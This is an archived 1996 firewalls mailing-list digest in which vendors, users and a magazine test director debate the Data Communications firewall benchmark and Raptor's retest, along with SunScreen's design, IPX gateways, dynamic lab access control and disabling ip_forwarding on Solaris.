From: russo@interramp.com (Bob Russo)
Subject: Re: Raptor Product and other comparison of firewalls
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

>On Wed, 13 Mar 1996, Philippe Cayphas wrote:
>
>>
>> Hi all,
>>
>> Data Communications has performed a very interesting comparison of a lot of
>>  firewalls.
>> Let's say that Raptor product was not the best. Far away.
>>
>FOR THE RECORD, this is MISINFORMATION! NSTL "reran" the tests upon
>Raptor's request and they came out on top, hands down! If you check
>out Raptor's homepage: http://www.raptor.com you will in fact see
>the latest results.
>
+++++++++++++++++++++++++++++++++++++++++++++++++

[SNIP]

< DELURK==SHIELDS DOWN==FLAME GUN READY >

What a wonderful world!  This is my kids dream come true...when they fail a
college exam...they complain to the professor about *not being ready*...and
the professor lets them take it over again...but *just* them..not the other
kids in the class!!

< RELURK >

Bob


Bob Russo
russo@network-1.com
==============================================================
[  Network-1 Software & Technology, Inc.  _______   _______  ]
[                                         | ____////_____ |  ]
[      Designers of *FireWall/Plus*       | |  ////     | |  ]
[      A *NON* UNIX based firewall        | | ///////   | |  ]
[                                         | |    ///    | |  ]
[         New York Corporate Office       | |   /////// | |  ]
[             909 Third Ave.              | |       //  | |  ]
[           New York, NY 10022            | 1______//___1 |  ]
[           Voice: 212-293-3068           1_______//______1  ]
[             FAX: 212-293-3090           N e t w o r k - 1  ]
[           EMAIL: russo@network-1.com                       ]
[                                                            ]

[          http://www.network-1.com                          ]
[                                                            ]
==============================================================



From firewalls-owner  Thu Mar 14 07:19:15 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id HAA07145 for firewalls-outgoing; Thu, 14 Mar 1996 07:04:42 -0800 (PST)
Received: from gort.iis.net ([204.157.57.7]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with ESMTP id HAA07140 for <firewalls@greatcircle.com>; Thu, 14 Mar 1996 07:04:37 -0800 (PST)
Received: from klaatu.iis.net (bigbird.iis.net [204.157.57.2]) by gort.iis.net (8.7.4/8.6.12) with ESMTP id KAA05653; Thu, 14 Mar 1996 10:02:15 -0500 (EST)
Received: from klaatu.iis.net (localhost [127.0.0.1]) by klaatu.iis.net (8.7.4/8.7.3) with ESMTP id KAA27922; Thu, 14 Mar 1996 10:02:13 -0500 (EST)
Message-Id: <199603141502.KAA27922@klaatu.iis.net>
X-Mailer: exmh version 1.6.5 12/11/95
To: dnewman@mcgraw-hill.com
cc: firewalls@greatcircle.com
Subject: Re: Raptor Product and other comparison of firewalls 
In-reply-to: Your message of "Thu, 14 Mar 1996 00:48:14 EDT."
             <199603140644.AA17831@interlock.mgh.com> 
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Date: Thu, 14 Mar 1996 10:02:12 -0500
From: Scott Bartram <scottb@iis.net>
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

>      
>      Sorry, Scott, but the version you set forth isn't quite accurate. To 
>      set the record straight:
>      
>      Raptor Eagle had a bug which gave it unfavorable performance results 
>      in the test published in Data Comm's November 21, 1995 issue (now 
>      available at www.data.com). To Raptor's credit, the company quickly 
>      found and fixed the bug. Raptor then came back to the test lab for a 
>      vendor-sponsored retest. Eagle outperformed all other products in the 
>      retest. 
>      
>      This was done on the same test bed, using the same test application. 
>      The only thing that changed was the Eagle code. There wasn't any "flaw" 
>      in the test that caused Eagle to fare better the second time around.
>      
>      Regards
>      
>      David Newman                               dnewman@data.com 
>      Director, Data Comm Test Program         voice 212-512-6182 
>      Data Communications magazine               fax 212-512-6833

I apologize for the implication that the Data Comm test is flawed. A more
accurate message should have been:

In my opinion, the Data Comm test *method* was/is slightly flawed, not the
test itself. The reason I make this claim is that I have seen hundreds of
simultaneous connections through a Raptor firewall with no problem at many
sites. Even though the Data Comm test did expose a bug in the Raptor
software (causing a connection to be dropped and the test not to complete
at that level), I would conclude that something in the test method was not
indicitive of a "real world" load since this result had never been seen
before by me or Raptor (they claim). Unfortunately, I have no further
evidence to back up my claim since as far as I know, the test code is
not publically available for inspection.

The bottom line is that Data Comm found a bug, Raptor fixed it and performs
very well in the retest, and Data Comm should be commended for shedding some
light on the murky world of firewall "performance".

scott
-- 
=====================================================================
Scott Bartram                     internet information services, inc.
email: scottb@iis.net             1680 East Gude Drive
voice: 301-340-1761               Rockville, MD 20850



From firewalls-owner  Thu Mar 14 07:34:27 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id HAA07880 for firewalls-outgoing; Thu, 14 Mar 1996 07:22:21 -0800 (PST)
Received: from jackson.tds.com (tds.com [165.159.62.2]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id HAA07871 for <firewalls@greatcircle.com>; Thu, 14 Mar 1996 07:22:14 -0800 (PST)
Received: from hazel.tds.com by jackson.tds.com (4.1/SMI-4.1)
	id AA06388; Thu, 14 Mar 96 07:20:33 PST
Received: from CS.tds.com (aspen.tds.com) by hazel.tds.com (4.1/SMI-4.1)
	id AA00387; Thu, 14 Mar 96 07:20:33 PST
Received: from normsDell.cs.tds.com ([165.159.48.97]) by CS.tds.com (4.1/SMI-4.1)
	id AA00430; Thu, 14 Mar 96 08:17:54 MST
Message-Id: <3148426F.4517@tds.com>
Date: Thu, 14 Mar 1996 08:59:43 -0700
From: Norm Laudermilch <norm_laudermilch@tds.com>
Organization: Trident Data Systems
X-Mailer: Mozilla 2.0 (Win95; I)
Mime-Version: 1.0
To: firewalls@greatcircle.com
Cc: ckostick@csc.com
Subject: SunScreen
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

Chris Kostick wrote about SunScreen:

> I can't say I like the fact it is totally a blackbox.

Well, there are good and bad points to this, and you've pointed out only 
the bad ones.  First, being transparent (and having no ip 
addresses on the filtering interfaces) makes it very hard to detect, 
attack, and compromise from a malicious perspective.  This is one area 
where many of the current firewall products fail.  They build a nice 
packet filtering and/or proxy layer on top of a fully functioning unix 
platform.  Then you rely solely on the installer/administrator to secure 
the OS before installing and configuring the firewall software.  As we 
know, this can be a daunting task for the security impaired. 

Second, being basically a 4 port ethernet hub makes the SS very easy to 
install into an existing environment.  Most organizations have a hub 
hooked directly off of their internet (or other untrusted network) 
router anyway, so the SS just fits in between. 

Third, being transparent makes it simple to integrate from a user 
perspective.  Humans resist change, and any time you add another level 
of complexity for Susie accessing www.wasteoftime.com you're asking for 
trouble.  God forbid Susie be a manager, and your firewall funding gets 
cut off.  Traditionally, this was the benefit of packet filtering 
firewalls over application level gateway firewalls.  But that benefit is 
now becoming void with "transparent" proxies from TIS, Raptor, etc.  
With a transparent solution, Susie doesn't even know that her 
packets have passed through a perimeter security device, been 
authenticated, encrypted, (mangled), or whatever.  Anyway, just a few 
observations.

> I like to be able to see what's going on with the machine and, as
> a manager, interrogate it any way I please. You don't have that
> option with sunscreen.

Actually, you can interrogate the SunScreen from a management 
perspective very easily.  In the SunScreen Administration application on 
the admin station, double click on the name of the SunScreen to 
establish an encrypted connection to it.  When the SS screen appears, go 
to the "Miscellaneous" tab on the GUI and type "help" in the "Get 
Special Information" field.  You will be presented with a list of legal 
commands to send to the SS.  These commands will allow you to retrieve 
all kinds of OS information.  Of course, there are also the other 9 tabs 
of information and statistics to look at if you're interested as well.

The SunScreen device itself is designed to coexist peacefully with your 
comm equipment and never really be touched by human hands (other than 
initial configuration).  Much like a router, CSU, etc, the SS only has 
idiot lights on the front panel and must be interrogated by the admin 
station to get detailed operating stats.  Again, just like a router, 
CSU, etc.  It's just a different philosophy than say a firewall 
application running on a unix box.  In that case you'd expect a directly 
connected keyboard, mouse, monitor, etc to be your interface to finding 
out what's up.  Not so with comm gear, or with the SunScreen.

Norm

Norm Laudermilch
Trident Data Systems
norm_laudermilch@tds.com

From firewalls-owner  Thu Mar 14 08:10:49 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id HAA08527 for firewalls-outgoing; Thu, 14 Mar 1996 07:41:08 -0800 (PST)
Received: from disclosure.com (di2.disclosure.com [205.156.194.11]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with ESMTP id HAA08522 for <firewalls@greatcircle.com>; Thu, 14 Mar 1996 07:41:03 -0800 (PST)
Received: (from scott@localhost) by disclosure.com (8.7.3/8.7.3) id KAA11118; Thu, 14 Mar 1996 10:43:22 -0500 (EST)
Date: Thu, 14 Mar 1996 10:43:22 -0500 (EST)
From: Scott Barman <scott@di2.disclosure.com>
To: firewalls@greatcircle.com
Subject: Querry on BSDI product (was Re: IP/IPX gateways)
In-Reply-To: <31473B54.4E97@access.digex.net>
Message-ID: <Pine.SUN.3.91.960314103414.11060D-100000@di2>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

Watching all the discussion going around about IP->IPX gatewaying for
the internet brings up a question:

Has anyone used BSDI's "Internet Gateway for Novell Networks"?

I was wondering, because according to what I read in the product
description, you get a WinSock 1.1 compliant interface that talks to
the BSDI-based gateway over IPX.  This means that you don't have dual
stacks running on the same (brain dead) box and you let the (more solid)
BSDI system handle the gateway.

Is this something to consider when looking at getting folks with Novell
networks onto the Net?

scott barman
--
scott barman                  DISCLAIMER: I speak to anyone who will listen,
scott@disclosure.com                      and I speak only for myself.
barman@ix.netcom.com
  "Micro$oft and Windoze/NT will be the cause of the de-evolution of
   network security just as the original PC and BASIC was the cause of
   the de-evolution of programming."	- scott barman


From firewalls-owner  Thu Mar 14 08:29:40 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id HAA09102 for firewalls-outgoing; Thu, 14 Mar 1996 07:54:28 -0800 (PST)
Received: from tj.byu.edu (tj.byu.edu [128.187.7.67]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id HAA09096 for <firewalls@GreatCircle.COM>; Thu, 14 Mar 1996 07:54:19 -0800 (PST)
Received: from tj.byu.edu by tj.byu.edu (NTMail 3.01.01) id ba000339; Fri, 15 Mar 1996 03:46:07 +0000
Comments: Authenticated sender is <tjay@tj.byu.edu>
From: "T. Jay Humphries" <tjay@tj.byu.edu>
Organization: Brigham Young University
To: firewalls@GreatCircle.COM
Date: Thu, 14 Mar 1996 08:56:21 MDT
Subject: Re: Dynamic firewall
X-mailer: Pegasus Mail for Windows (v2.23)
Message-Id: 03460712400015@byu.edu
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

I have a request of this group.  I am looking for a firewall product that will
accommodate dynamic connections.  Let me explain our need.  We have a network
isolated from the rest of our campus network just for student labs which in
some cases maybe unattended. This lab network has a T1 to the Internet.  We
authenticate/identify each student as they log into the lab network and
dynamically assign them an IP address when they log in. Because we feel we
maybe held responsible for who uses our network to access the Internet we want
to close all Internet access off and dynamically allow authorized access to
only the students we have authenticated.

When a student logs into the lab network we validate them from our student
database, record session times (start and finish), who they are, the MAC
address of the workstation and the IP address assigned to them for that
session.  After the student has been authenticated we would like to take that
information and dynamically configure the firewall to allow Internet access for
that student during that session.  

We have thought about dynamically configuring the router, but really don't
like that idea because of stability issues.  Ideally, we would like to
integrate this process with DCE authentication someday, but for now would be
satisfied with just being able to pass our clear text information to the
firewall to dynamically allow the Internet access. 

Does anyone based on experience know of a commercial firewall product that
will satisfy our requirements?  If you do I would appreciate hearing from you.

Thanks,


Terrance Humphries
Manager of Network Security
and Administration
Brigham Young University
TJay@byu.edu
801-378-7513

From firewalls-owner  Thu Mar 14 08:33:52 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id IAA10363 for firewalls-outgoing; Thu, 14 Mar 1996 08:21:05 -0800 (PST)
Received: from ix15.ix.netcom.com (ix15.ix.netcom.com [199.182.120.15]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id IAA10354 for <firewalls@GreatCircle.Com>; Thu, 14 Mar 1996 08:20:57 -0800 (PST)
Received: from  by ix15.ix.netcom.com (8.6.13/SMI-4.1/Netcom)
	id IAA01076; Thu, 14 Mar 1996 08:19:12 -0800
Date: Thu, 14 Mar 1996 08:19:12 -0800
Message-Id: <199603141619.IAA01076@ix15.ix.netcom.com>
From: lasdsdn@ix.netcom.com (LASD DSB)
Subject: Fwd: Re: Raptor Product and other comparison of firewalls
To: firewalls@GreatCircle.Com
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

Your working with outdated information.  Data Comm has released a 
follow up to the first performance test.  In this new comparison, 
Raptor's Eagle had the highest level of "performance" (throughput). If 
you consider performance together with the "smarter" features you 
mentioned, it becomes clear that Raptor has a good product worth 
considering.

Fabian



begin forward message:



IN terms of throughput you may be right, but in my opinion the Eagle is 

smarter than other firewalls and has added functionality where others 
fail. Perhaps this is not in terms of raw power though.


On Wed, 13 Mar 1996, Philippe Cayphas wrote:

> 
> Hi all,
> 
> Data Communications has performed a very interesting comparison of a 
lot of
>  firewalls.
> Let's say that Raptor product was not the best. Far away.
> 
> Top performers were :
> 1) Checkpoint's Firewalls-1
> 2) Haris Cyberguard
> 3) TIS Gauntlet
> 
> This study can be found at :
> http://www.data.com/Lab_Tests/Firewalls.html
> 
> Philippe
> --
> 	Ph. Cayphas
> 	Senior Engineer
> 
> 
> E-Mail: pc@bim.be
> 
> Telephone: +32(10)47.08.32	Fax : +32(10)47.08.11
> 
> Postal Mail :
> 	Ph. Cayphas
> 	BIM sa
> 	4, Av. Albert Einstein
> 	1348 Louvain-La-Neuve
> 	Belgium
> 

                            |##
                            |
                            |
                       [_[] []_[]_]
                        |        |
                        |        |
      {------}          |   0    |          {------}
       |    |           |        |           |    |
       |    |_[]_[]_[] _|  ####  |_ []_[]_[]_|    |
       |  # | # # # # # |  ####  | # # # # # | #  |
       |  # | # # # # # |  ####  | # # # # # | #  |
       |  # | # # # # # |  / \   | # # # # # | #  |
       |  # | # # # # # |  | |   | # # # # # | #  |
       --------------------------------------------
          Jason Lamar  sigurd@access.digex.net
       ---------------------------------------------
           http://www.access.digex.net/~sigurd
       ----------------------------------------------




From firewalls-owner  Thu Mar 14 09:03:50 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id IAA10215 for firewalls-outgoing; Thu, 14 Mar 1996 08:16:54 -0800 (PST)
Received: from interlock.mgh.com (interlock.mgh.com [152.159.1.2]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id IAA10207 for <firewalls@greatcircle.com>; Thu, 14 Mar 1996 08:16:40 -0800 (PST)
From: dnewman@mcgraw-hill.com
Received: by interlock.mgh.com id AA04520
  (InterLock SMTP Gateway 3.0 for firewalls@greatcircle.com);
  Thu, 14 Mar 1996 11:14:45 -0500
Message-Id: <199603141614.AA04520@interlock.mgh.com>
Received: by interlock.mgh.com (Protected-side Proxy Mail Agent-1);
  Thu, 14 Mar 1996 11:14:45 -0500
Date: Thu, 14 Mar 96 11:09:29 EDT
To: Scott Bartram <scottb@iis.net>
Cc: firewalls@greatcircle.com
Subject: Re[2]: Raptor Product and other comparison of firewalls 
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

     
     Scott raises a good question about whether the offered load in the 
     Data Comm test reflected "real world" conditions. The test application 
     (which, by the way, *is* available for use in contract testing) makes 
     thousands of connections, not hundreds, and it ran at Ethernet rather 
     than T1 rates.
     
     I'm hearing more and more that the level at which we tested is, if 
     anything, a little light in terms of what Data Comm's readers see. 
     Remember, Data Comm's core audience is managers and designers of large 
     corporate Internet/Intranet installations. I've received numerous 
     inquiries about firewalls for FDDI, fast Ethernet, and ATM networks, 
     and the loads handled by such networks are far higher than anything we 
     modeled in our tests.
     
     The only way to know for sure if a firewall can perform at an 
     appropriate level is to test it with the actual applications it'll 
     handle on the actual network where it'll reside. Marcus Ranum has 
     proposed an excellent performance modelling method that can be scaled 
     to any size load on any speed network. The URL is:
     
     http://www.v-one.com/pubs/perf/approaches.htm
     
     Regards
     
     David Newman                               dnewman@data.com
     Director, Data Comm Test Program         voice 212-512-6182
     Data Communications magazine               fax 212-512-6833
     
     
I apologize for the implication that the Data Comm test is flawed. A more 
accurate message should have been:
     
In my opinion, the Data Comm test *method* was/is slightly flawed, not the 
test itself. The reason I make this claim is that I have seen hundreds of 
simultaneous connections through a Raptor firewall with no problem at many 
sites. Even though the Data Comm test did expose a bug in the Raptor 
software (causing a connection to be dropped and the test not to complete 
at that level), I would conclude that something in the test method was not 
indicitive of a "real world" load since this result had never been seen 
before by me or Raptor (they claim). Unfortunately, I have no further 
evidence to back up my claim since as far as I know, the test code is
not publically available for inspection.
     
The bottom line is that Data Comm found a bug, Raptor fixed it and performs 
very well in the retest, and Data Comm should be commended for shedding some 
light on the murky world of firewall "performance".
     
scott
-- 
===================================================================== 
Scott Bartram                     internet information services, inc. 
email: scottb@iis.net             1680 East Gude Drive
voice: 301-340-1761               Rockville, MD 20850
     
     


From firewalls-owner  Thu Mar 14 09:21:06 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id IAA10221 for firewalls-outgoing; Thu, 14 Mar 1996 08:17:01 -0800 (PST)
Received: from relay.ashton.csc.com (relay.ashton.csc.com [20.2.54.2]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id IAA10209 for <firewalls@greatcircle.com>; Thu, 14 Mar 1996 08:16:49 -0800 (PST)
Received: by relay.ashton.csc.com; id LAA09296; Thu, 14 Mar 1996 11:20:12 -0500
Received: from unknown(20.2.2.46) by relay.ashton.csc.com via smap (g3.0.1)
	id sma009287; Thu, 14 Mar 96 11:19:42 -0500
Received: by batman.ashton.csc.com with Microsoft Mail
	id <01BB1197.C0C524E0@batman.ashton.csc.com>; Thu, 14 Mar 1996 11:16:55 -0500
Message-ID: <01BB1197.C0C524E0@batman.ashton.csc.com>
From: Chris Kostick <ckostick@csc.com>
To: "firewalls@greatcircle.com" <firewalls@greatcircle.com>,
        "'Norm Laudermilch'" <norm_laudermilch@tds.com>
Subject: RE: SunScreen
Date: Thu, 14 Mar 1996 11:16:53 -0500
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk


> > I can't say I like the fact it is totally a blackbox.
> 
> Well, there are good and bad points to this, and you've pointed out only 
> the bad ones.

What I really pointed out was the lacking documentation. Anything
else was personal opinions.

> First, being transparent (and having no ip 
> addresses on the filtering interfaces) makes it very hard to detect, 
> attack, and compromise from a malicious perspective.  This is one area 
> where many of the current firewall products fail.  They build a nice 
> packet filtering and/or proxy layer on top of a fully functioning unix 
> platform.  Then you rely solely on the installer/administrator to secure 
> the OS before installing and configuring the firewall software.  As we 
> know, this can be a daunting task for the security impaired. 

If an organiztion has an installer/administrator who is not
familiar with the necessary security concerns of the environment
and how to fix it, then they have more problems than determining
what firewall they're going to use.

> 
> Second, being basically a 4 port ethernet hub makes the SS very easy to 
> install into an existing environment.  Most organizations have a hub 
> hooked directly off of their internet (or other untrusted network) 
> router anyway, so the SS just fits in between. 

So I don't have to get another address. That may be useful.
Or you can use address hiding to do the same thing.
 
> Third, being transparent makes it simple to integrate from a user 
> perspective.  Humans resist change, and any time you add another level 
> of complexity for Susie accessing www.wasteoftime.com you're asking for 
> trouble.  God forbid Susie be a manager, and your firewall funding gets 
> cut off.  Traditionally, this was the benefit of packet filtering 
> firewalls over application level gateway firewalls.  But that benefit is 
> now becoming void with "transparent" proxies from TIS, Raptor, etc.  
> With a transparent solution, Susie doesn't even know that her 
> packets have passed through a perimeter security device, been 
> authenticated, encrypted, (mangled), or whatever.  Anyway, just a few 
> observations.

> > I like to be able to see what's going on with the machine and, as
> > a manager, interrogate it any way I please. You don't have that
> > option with sunscreen.
> 
> Actually, you can interrogate the SunScreen from a management 
> perspective very easily.  In the SunScreen Administration application on 
> the admin station, double click on the name of the SunScreen to 
> establish an encrypted connection to it.  When the SS screen appears, go 
> to the "Miscellaneous" tab on the GUI and type "help" in the "Get 
> Special Information" field.  You will be presented with a list of legal 
> commands to send to the SS.  These commands will allow you to retrieve

I'll look into this. I have a feeling it will still be too
limiting.
 
> all kinds of OS information.  Of course, there are also the other 9 tabs 
> of information and statistics to look at if you're interested as well.
> 
> The SunScreen device itself is designed to coexist peacefully with your 
> comm equipment and never really be touched by human hands (other than 
> initial configuration).  Much like a router, CSU, etc, the SS only has 
> idiot lights on the front panel and must be interrogated by the admin 
> station to get detailed operating stats.  Again, just like a router, 
> CSU, etc.

Not. If I have a cisco or NSC I can get to the level of the IOS
and interrogate it any way I darn well please that is supported
by the operating system. I think it's the same philosophy as logging
in to a UNIX system and getting a command prompt. Having information
retrieved via a GUI is not.

>  It's just a different philosophy than say a firewall 
> application running on a unix box.  In that case you'd expect a directly 
> connected keyboard, mouse, monitor, etc to be your interface to finding 
> out what's up.  Not so with comm gear, or with the SunScreen.

As I stated, I just pointed out that *I* personally didn't care for
the separate management station and GUI s/w. I have no complaints
about the functionality of Sunscreen. It works as advertised with
no problems so far.

--
chris





From firewalls-owner  Thu Mar 14 09:49:14 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id HAA08281 for firewalls-outgoing; Thu, 14 Mar 1996 07:35:35 -0800 (PST)
Received: from hawk.hcsc.com (ns.hcsc.com [129.134.1.1]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id HAA08257 for <firewalls@GreatCircle.COM>; Thu, 14 Mar 1996 07:35:23 -0800 (PST)
Received: from grouper.mkt.hcsc.com by hawk.hcsc.com (5.61/harris-5.1)
	id AA12474; Thu, 14 Mar 96 10:33:44 -0500
Received: from cheshire by grouper.mkt.csd.harris.com (5.61/HARRIS-4.0)
	id AA03306; Thu, 14 Mar 96 10:33:42 -0500
Message-Id: <31483C1F.3689@mail.hcsc.com>
Date: Thu, 14 Mar 1996 10:32:47 -0500
From: William C Curtiss <William.Curtiss@mail.hcsc.com>
Organization: Harris Computer Systems Corporation
X-Mailer: Mozilla 2.0 (Win95; I)
Mime-Version: 1.0
To: firewalls@GreatCircle.COM
Subject: Re: Raptor Product and other comparison of firewalls
References: <Pine.SOL.3.91.960314014747.3612A-100000@ns1.ptd.net>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

Stefan Gal wrote:
> 
> On Wed, 13 Mar 1996, Philippe Cayphas wrote:
> 
> >
> > Hi all,
> >
> > Data Communications has performed a very interesting comparison of a lot of
> >  firewalls.
> > Let's say that Raptor product was not the best. Far away.
> >
> FOR THE RECORD, this is MISINFORMATION! NSTL "reran" the tests upon
> Raptor's request and they came out on top, hands down! If you check
> out Raptor's homepage: http://www.raptor.com you will in fact see
> the latest results.

Stefan brings out a good point here: the tests were rerun at Raptor's
'request', not Data Communications'. No other vendors were invited to
be included in the retest.

Many firewall vendors have made significant performance improvements
in their products based on this test, as well as real life customer
installs, but have chosen not to 'request' their product be retested,
even though they were not the top performers. The test was accurate on
the date it was conducted, PERIOD. You win some; you lose some. You
take your lumps, you learn, and you go on.

> > Top performers were :
> > 1) Checkpoint's Firewalls-1
> > 2) Haris Cyberguard
> > 3) TIS Gauntlet
> >
> Having installed and integrated, number's 1 and 3 of your short list
> I can say that Raptor by far is a superior product. In fact, the test's
> also showed the above "dropping packets" as more and more connections
> were established. Raptor was one of the only products tested that did
> not drop a single packet!

Stefan's reference to the 'above' dropping packets only refers to the
two being compaired, namely numbers 1 and 3. Harris Computer Systems
Corporation's CyberGuard Firewall was ALSO one of the only products
tested that did not drop a single packet! And I believe that CyberGuard
by far is a superior product, but I may be biased :-).

> > This study can be found at :
> > http://www.data.com/Lab_Tests/Firewalls.html
> >
> what they fail to publish are the REAL, CORRECTED results! Check with
> Raptor and NSTL for current information and please do not mislead
> anyone into thinking that Raptor was NOT the top performer, because
> indeed it was...

As I mentioned above, The test was accurate on the date it was
conducted, PERIOD. Raptor has provided additional information based on
changes to their product. Other vendors have also changed their
products. The information may be old, but without a complete retest of
all vendor's products, it's the best, level playing field comparison
available.

> -SEG

William Curtiss
New Product Planning Manager
Harris Computer Systems Corporation

From firewalls-owner  Thu Mar 14 09:49:19 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id JAA12495 for firewalls-outgoing; Thu, 14 Mar 1996 09:09:42 -0800 (PST)
Received: from dixon.DeLong.SJ.CA.US (NS.DELONG.SJ.CA.US [192.159.10.1]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id JAA12489 for <firewalls@GreatCircle.COM>; Thu, 14 Mar 1996 09:09:38 -0800 (PST)
Received: by dixon.DeLong.SJ.CA.US (8.6.12/SMI-4.1)
	id JAA27294; Thu, 14 Mar 1996 09:08:01 -0800
Date: Thu, 14 Mar 1996 09:08:01 -0800
From: owen@DeLong.SJ.CA.US (Owen DeLong)
Message-Id: <199603141708.JAA27294@dixon.DeLong.SJ.CA.US>
To: firewalls@GreatCircle.COM
Subject: Re: firewalls-digest V5 #157
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk


Turning ip_forwarding off using adb is the same end result as setting the
macro IP_FORWARDING to -1 in SunOS.  Difference is whether you do it before
or after compilation.  The same is true with ndd.  If you build a SunOS
kernel with IP_FORWARDING = -1, and then use adb to change ip_forwarding
to 1, guess what.  It works just fine.

Owen

> From: Jean.Chouanard@grenoble.rxrc.xerox.com (Jean Chouanard)
> Date: Wed, 13 Mar 1996 11:39:23 +0100
> Subject: Solaris 2 & ip_forwarding
> 
> Hi,
> 
> I know that we could use ndd to turn off ip_forwarding on a Solaris 2
> workstation, but is their a way to disable this feature so that intruder
> can't turn it on again?
> 
> ndd seems to work as turning off ip_forwarding using adb on a SunOS kernel,
> what I looking for is like setting IP_FORWARDING to -1 in SunOS.
> 
> Thanks, Jean
> 
> - ---
> let's all be different, just like me.
> - ---
>     Jean Chouanard                   | Jean.Chouanard@Grenoble.RXRC.Xerox.com
> Networks & Systems Eng.              |        Rank Xerox Research Centre
>  Fax: (33) 76 61 51 99               |           6, Ch de maupertuis
>  Ph:  (33) 76 61 50 90               |           38240 Meylan FRANCE
> 
> 
> 

From firewalls-owner  Thu Mar 14 10:03:36 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id IAA11089 for firewalls-outgoing; Thu, 14 Mar 1996 08:38:40 -0800 (PST)
Received: from tera.bctel.net (tera.bctel.net [204.174.64.252]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with ESMTP id IAA11084 for <firewalls@GreatCircle.COM>; Thu, 14 Mar 1996 08:38:33 -0800 (PST)
Received: (from nobody@localhost) by tera.bctel.net (8.7.4/8.7.1) id IAA21426; Thu, 14 Mar 1996 08:39:46 -0800 (PST)
X-Authentication-Warning: tera.bctel.net: nobody set sender to <murrell@bctel.net> using -f
Received: from mocha.bctel.net(204.174.66.5) by tera via smap (V1.3)
	id sma021423; Thu Mar 14 08:39:45 1996
Received: (from murrell@localhost) by mocha.bctel.net (8.7.1/8.7.1) id IAA29642; Thu, 14 Mar 1996 08:37:59 -0800 (PST)
From: Brian Murrell <murrell@bctel.net>
Message-Id: <199603141637.IAA29642@mocha.bctel.net>
Date: Thu, 14 Mar 1996 08:37:57 -0800 (PST)
To: ckostick@csc.com
Cc: firewalls@GreatCircle.COM
Subject: RE[2]: Raptor Product and other comparison of firewalls
In-Reply-To: <01BB10F0.5DADFE60@batman.ashton.csc.com>
X-Mailer: Ishmail 1.2-960212-sol24 <http://www.halsoft.com/products/ishmail>
MIME-Version: 1.0
Content-Type: text/plain
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

from the quill of Chris Kostick <ckostick@csc.com> on scroll
<01BB10F0.5DADFE60@batman.ashton.csc.com>
> Data Comm printed a follow-up in their latest issue indicating
> that Raptor had fixed the bug that was causing the performance
> problem. They retested and ended up out-performing everyone else.

So it took an embarassing public flogg^H^H^H^H^Hreview for them to (find
and) fix a performance bug??  Why didn't they find it before public
release??  Do they not test performance as part of their regression
testing??

b.


--
Brian J. Murrell                                              murrell@bctel.net
BCTel Advanced Communications                                   brian@ilinx.com
Vancouver, B.C.                                                brian@wimsey.com
604 454 5279

From firewalls-owner  Thu Mar 14 10:18:35 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id JAA12187 for firewalls-outgoing; Thu, 14 Mar 1996 09:00:27 -0800 (PST)
Received: from gauntlet-1.trusted.com (gauntlet-1.trusted.com [204.254.155.2]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id JAA12180 for <firewalls@GreatCircle.COM>; Thu, 14 Mar 1996 09:00:22 -0800 (PST)
Received: by gauntlet-1.trusted.com; id MAA20979; Thu, 14 Mar 1996 12:07:28 -0500
Received: from hilo.trusted.com(10.0.1.126) by gauntlet-1.trusted.com via smap (V3.1)
	id xma020974; Thu, 14 Mar 96 12:07:15 -0500
Received: from vanidor.trusted.com by hilo.trusted.com with SMTP
	(1.37.109.4/16.2) id AA08435; Thu, 14 Mar 96 12:00:46 -0500
Message-Id: <2.2.16.19960314165734.19570896@pop.trusted.com>
X-Sender: avolio@pop.trusted.com
X-Mailer: Windows Eudora Pro Version 2.2 (16)
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Date: Thu, 14 Mar 1996 11:57:34 -0500
To: Brien Wheeler <bwheeler@raptor.com>, firewalls@GreatCircle.COM
From: Frederick M Avolio <avolio@trusted.com>
Subject: Re: Raptor Product and other comparison of firewalls
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

Of course none of the other vendors had a chance to fix, twiddle, etc., so
I'm hoping we just let the Data Comm stuff rest now.  Data Communications
will be running new tests every few weeks as vendors discover bugs and fix
things, no?

Our results were based on Data Communications installing, configuring, and
